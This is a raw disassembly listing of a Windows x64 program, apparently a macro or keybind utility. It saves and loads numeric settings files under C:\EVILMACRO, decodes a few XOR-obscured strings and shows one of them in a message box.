mov edx, dword [0x14008a3dc]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140077da0]
call fcn.140071f30
mov r9d, 0x40
lea rdx, str.C:EVILMACROxxbind.txt
mov r8d, 2
lea rcx, [0x14008b970]
call fcn.140071650
lea rdx, [0x140077ab6]
lea rcx, [0x14008b970]
call fcn.140071f30
lea rdx, [0x14004cfc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x14008a320]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140077da0]
call fcn.140071f30
mov r9d, 0x40
lea rdx, str.C:EVILMACROyybind.txt
mov r8d, 2
lea rcx, [0x14008c300]
call fcn.140071650
lea rdx, [0x140077ab6]
lea rcx, [0x14008c300]
call fcn.140071f30
lea rdx, [0x14004cfc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x14008a2e8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140077da0]
call fcn.140071f30
mov r9d, 0x40
lea rdx, str.C:EVILMACROhhbind.txt
mov r8d, 2
lea rcx, [0x14008c7b0]
call fcn.140071650
lea rdx, [0x140077ab6]
lea rcx, [0x14008c7b0]
call fcn.140071f30
lea rdx, [0x14004cfc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [str.stdu]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140077da0]
call fcn.140071f30
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_ssbind.txt
mov r8d, 2
lea rcx, [0x14008ce40]
call fcn.140071650
lea rdx, [0x140077ab6]
lea rcx, [0x14008ce40]
call fcn.140071f30
lea rdx, [0x14004cfc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x14008a354]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140077da0]
call fcn.140071f30
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_slbind.txt
mov r8d, 2
lea rcx, [0x14008c1f0]
call fcn.140071650
lea rdx, [0x140077ab6]
lea rcx, [0x14008c1f0]
call fcn.140071f30
lea rdx, [0x14004cfc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x14008a35c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140077da0]
call fcn.140071f30
mov r9d, 0x40
lea rdx, str.C:EVILMACROxcontrol_1.txt
mov r8d, 2
lea rcx, [0x14008bdb0]
call fcn.140071650
lea rdx, [0x140077ab6]
lea rcx, [0x14008bdb0]
call fcn.140071f30
lea rdx, [0x14004cfc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movss xmm1, dword [0x14008a314]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
mov rcx, rax
lea rdx, [0x140077da0]
call fcn.140071f30
mov r9d, 0x40
lea rdx, str.C:EVILMACROycontrol_1.txt
mov r8d, 2
lea rcx, [0x14008bca0]
call fcn.140071650
lea rdx, [0x140077ab6]
lea rcx, [0x14008bca0]
call fcn.140071f30
lea rdx, [0x14004cfc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movss xmm1, dword [0x14008a3e4]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
mov rcx, rax
lea rdx, [0x140077da0]
call fcn.140071f30
lea rcx, [0x14008cf60]
call fcn.140071610
lea rcx, [0x14008c6a0]
call fcn.140071610
lea rcx, [0x14008bec0]
call fcn.140071610
lea rcx, [0x14008c9e0]
call fcn.140071610
lea rcx, [0x14008afe0]
call fcn.140071610
lea rcx, [0x14008cd30]
call fcn.140071610
lea rcx, [0x14008b860]
call fcn.140071610
lea rcx, [0x14008b420]
call fcn.140071610
lea rcx, [0x14008c8d0]
call fcn.140071610
lea rcx, [0x14008b970]
call fcn.140071610
lea rcx, [0x14008c300]
call fcn.140071610
lea rcx, [0x14008c7b0]
call fcn.140071610
lea rcx, [0x14008ce40]
call fcn.140071610
lea rcx, [0x14008c1f0]
call fcn.140071610
lea rcx, [0x14008bdb0]
call fcn.140071610
lea rcx, [0x14008bca0]
call fcn.140071610
movaps xmm1, xmm12
movaps xmm0, xmm13
call fcn.140012400
cmp byte [0x14007eccb], 0
movsd xmm0, qword [0x14007ecc0]
mov eax, dword [0x14007ecc8]
movsd qword [rbp + 0x560], xmm0
mov qword [rbp + 0x308], 0
mov dword [rbp + 0x568], eax
je 0x1400697c4
xor r8d, r8d
cmp edi, 2
jl 0x140069775
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
movdqa xmm2, xmm10
punpckhdq xmm0, xmm7
mov r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x14007ecc0]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbp + 0x560], xmm1
movdqa xmm1, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x564]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x564], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x560]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140069790
xor r8d, r8d
lea rdx, [rbp + 0x308]
lea rcx, [rbp + 0x560]
call fcn.140038d50
test al, al
je 0x14006a6cd
lea rdx, [rbp + 0x680]
mov byte [rbp - 5], 0
lea rcx, [rbp - 5]
call fcn.14006fbc0
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x140069924
xor r8d, r8d
cmp edi, 2
jl 0x1400698e8
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1400698f0
mov r9d, 0x40
lea r8, str.INFO
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x3e70]
call fcn.14004d200
mov edx, 1
lea rcx, [rbp + 0x3e70]
call fcn.1400708e0
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x3f80]
call fcn.14004d200
mov edx, 1
lea rcx, [rbp + 0x3f80]
call fcn.1400708e0
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x4090]
call fcn.14004d200
mov edx, 1
lea rcx, [rbp + 0x4090]
call fcn.1400708e0
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x41a0]
call fcn.14004d200
mov edx, 1
lea rcx, [rbp + 0x41a0]
call fcn.1400708e0
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x42b0]
call fcn.14004d200
mov edx, 1
lea rcx, [rbp + 0x42b0]
call fcn.1400708e0
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x43c0]
call fcn.14004d200
mov edx, 1
lea rcx, [rbp + 0x43c0]
call fcn.1400708e0
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x44d0]
call fcn.14004d200
mov edx, 1
lea rcx, [rbp + 0x44d0]
call fcn.1400708e0
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x45e0]
call fcn.14004d200
mov edx, 1
lea rcx, [rbp + 0x45e0]
call fcn.1400708e0
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x46f0]
call fcn.14004d200
mov edx, 1
lea rcx, [rbp + 0x46f0]
call fcn.1400708e0
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x4800]
call fcn.14004d200
mov edx, 1
lea rcx, [rbp + 0x4800]
call fcn.1400708e0
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x4910]
call fcn.14004d200
mov edx, 1
lea rcx, [rbp + 0x4910]
call fcn.1400708e0
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x2a40]
call fcn.14004d200
mov edx, 1
lea rcx, [rbp + 0x2a40]
call fcn.1400708e0
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x2b50]
call fcn.14004d200
mov edx, 1
lea rcx, [rbp + 0x2b50]
call fcn.1400708e0
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x2c60]
call fcn.14004d200
mov edx, 1
lea rcx, [rbp + 0x2c60]
call fcn.1400708e0
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x2d70]
call fcn.14004d200
mov edx, 1
lea rcx, [rbp + 0x2d70]
call fcn.1400708e0
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x3b40]
call fcn.14004d200
mov edx, 1
lea rcx, [rbp + 0x3b40]
call fcn.1400708e0
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_sensivity_1.txt
mov r8d, 1
lea rcx, [rbp + 0x3e70]
call fcn.140070720
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_akbind.txt
mov r8d, 1
lea rcx, [rbp + 0x3f80]
call fcn.140070720
mov r9d, 0x40
lea rdx, str.C:EVILMACROlrbind.txt
mov r8d, 1
lea rcx, [rbp + 0x4090]
call fcn.140070720
mov r9d, 0x40
lea rdx, str.C:EVILMACROmpbind.txt
mov r8d, 1
lea rcx, [rbp + 0x41a0]
call fcn.140070720
mov r9d, 0x40
lea rdx, str.C:EVILMACROcsbind.txt
mov r8d, 1
lea rcx, [rbp + 0x42b0]
call fcn.140070720
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_tmbind.txt
mov r8d, 1
lea rcx, [rbp + 0x43c0]
call fcn.140070720
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_smbind.txt
mov r8d, 1
lea rcx, [rbp + 0x44d0]
call fcn.140070720
mov r9d, 0x40
lea rdx, str.C:EVILMACROm2bind.txt
mov r8d, 1
lea rcx, [rbp + 0x45e0]
call fcn.140070720
mov r9d, 0x40
lea rdx, str.C:EVILMACROptbind.txt
mov r8d, 1
lea rcx, [rbp + 0x46f0]
call fcn.140070720
mov r9d, 0x40
lea rdx, str.C:EVILMACROxxbind.txt
mov r8d, 1
lea rcx, [rbp + 0x4800]
call fcn.140070720
mov r9d, 0x40
lea rdx, str.C:EVILMACROyybind.txt
mov r8d, 1
lea rcx, [rbp + 0x4910]
call fcn.140070720
mov r9d, 0x40
lea rdx, str.C:EVILMACROhhbind.txt
mov r8d, 1
lea rcx, [rbp + 0x2a40]
call fcn.140070720
mov r9d, 0x40
mov r8d, 1
lea rdx, str.C:EVILMACRO_ssbind.txt
lea rcx, [rbp + 0x2b50]
call fcn.140070720
mov r9d, 0x40
lea rdx, str.C:EVILMACRO_slbind.txt
mov r8d, 1
lea rcx, [rbp + 0x2c60]
call fcn.140070720
mov r9d, 0x40
lea rdx, str.C:EVILMACROxcontrol_1.txt
mov r8d, 1
lea rcx, [rbp + 0x2d70]
call fcn.140070720
mov r9d, 0x40
lea rdx, str.C:EVILMACROycontrol_1.txt
mov r8d, 1
lea rcx, [rbp + 0x3b40]
call fcn.140070720
lea rdx, [rbp + 0x2540]
lea rcx, [rbp + 0x3e70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140069dcd
nop dword [rax]
nop dword [rax + rax]
movss xmm1, dword [rbp + 0x2540]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x2540]
lea rdx, [rbp + 0x2540]
lea rcx, [rbp + 0x3e70]
movss dword [0x14008a310], xmm0
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140069d80
lea rdx, [rbp + 0x256c]
lea rcx, [rbp + 0x3f80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140069e4b
nop word [rax + rax]
movss xmm1, dword [rbp + 0x256c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x256c]
lea rdx, [rbp + 0x256c]
lea rcx, [rbp + 0x3f80]
mov dword [0x14008cae8], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140069e00
lea rdx, [rbp + 0x2564]
lea rcx, [rbp + 0x4090]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140069ecb
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x2564]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x2564]
lea rdx, [rbp + 0x2564]
lea rcx, [rbp + 0x4090]
mov dword [0x14008a324], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140069e80
lea rdx, [rbp + 0x2560]
lea rcx, [rbp + 0x41a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140069f4b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x2560]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x2560]
lea rdx, [rbp + 0x2560]
lea rcx, [rbp + 0x41a0]
mov dword [0x14008a31c], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140069f00
lea rdx, [rbp + 0x255c]
lea rcx, [rbp + 0x42b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140069fcb
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x255c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x255c]
lea rdx, [rbp + 0x255c]
lea rcx, [rbp + 0x42b0]
mov dword [0x14008a2ec], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140069f80
lea rdx, [rbp + 0x2558]
lea rcx, [rbp + 0x43c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14006a04b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x2558]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x2558]
lea rdx, [rbp + 0x2558]
lea rcx, [rbp + 0x43c0]
mov dword [0x14008a358], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14006a000
lea rdx, [rbp + 0x2554]
lea rcx, [rbp + 0x44d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14006a0cb
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x2554]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x2554]
lea rdx, [rbp + 0x2554]
lea rcx, [rbp + 0x44d0]
mov dword [str.ebqa], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14006a080
lea rdx, [rbp + 0x2550]
lea rcx, [rbp + 0x45e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14006a14b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x2550]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x2550]
lea rdx, [rbp + 0x2550]
lea rcx, [rbp + 0x45e0]
mov dword [0x14008a3e0], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14006a100
lea rdx, [rbp + 0x254c]
lea rcx, [rbp + 0x46f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14006a1cb
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x254c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x254c]
lea rdx, [rbp + 0x254c]
lea rcx, [rbp + 0x46f0]
mov dword [0x14008a3dc], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14006a180
lea rdx, [rbp + 0x2548]
lea rcx, [rbp + 0x4800]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14006a24b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x2548]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
